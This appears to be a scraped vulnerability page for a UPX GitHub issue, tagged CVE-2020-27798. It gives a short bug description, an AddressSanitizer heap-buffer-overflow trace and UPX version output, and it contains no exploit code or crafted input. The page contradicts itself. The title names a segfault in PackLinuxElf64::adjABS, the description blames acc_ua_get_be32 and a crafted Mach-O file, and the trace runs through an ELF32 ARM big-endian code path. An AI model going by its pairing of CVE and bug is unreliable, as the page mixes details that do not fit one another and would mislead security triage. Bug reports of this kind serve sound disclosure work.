CVE-2020-27798: Segmentation fault in PackLinuxElf64::adjABS of p_lx_elf.cpp · Issue #396 · upx/upx

A heap-based buffer over-read was discovered in the acc_ua_get_be32 function in miniacc.h in UPX 4.0.0 via a crafted Mach-O file.

    ==21053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000014bb at pc 0x000000755961 bp 0x7ffe38d0c080 sp 0x7ffe38d0c078
    READ of size 1 at 0x6160000014bb thread T0
        #0 0x755960 in acc_ua_get_be32(void const*) /src/upx-multi/src/./miniacc.h:6099:12
        #1 0x755960 in get_be32(void const*) /src/upx-multi/src/./bele.h:78:12
        #2 0x755960 in N_BELE_RTP::BEPolicy::get32(void const*) const /src/upx-multi/src/./bele_policy.h:115:18
        #3 0x58a254 in Packer::get_te32(void const*) const /src/upx-multi/src/./packer.h:296:65
        #4 0x58a254 in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*) /src/upx-multi/src/p_lx_elf.cpp:1601:32
        #5 0x588959 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:305:13
        #6 0x5d70d4 in PackLinuxElf32Be::PackLinuxElf32Be(InputFile*) /src/upx-multi/src/./p_lx_elf.h:385:9
        #7 0x5d70d4 in PackLinuxElf32armBe::PackLinuxElf32armBe(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4969:58
        #8 0x6e50c0 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:196:9
        #9 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #10 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #11 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #12 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #13 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #14 0x7fcbbeced83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #15 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x6160000014bb is located 4 bytes to the right of 567-byte region [0x616000001280,0x6160000014b7)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x569797 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./miniacc.h:6099:12 in acc_ua_get_be32(void const*)
    Shadow bytes around the buggy address:
      0x0c2c7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2c7fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2c7fff8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c2c7fff8290: 00 00 00 00 00 00 07[fa]fa fa fa fa fa fa fa fa
      0x0c2c7fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==21053==ABORTING
    
    

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t

Tag

#linux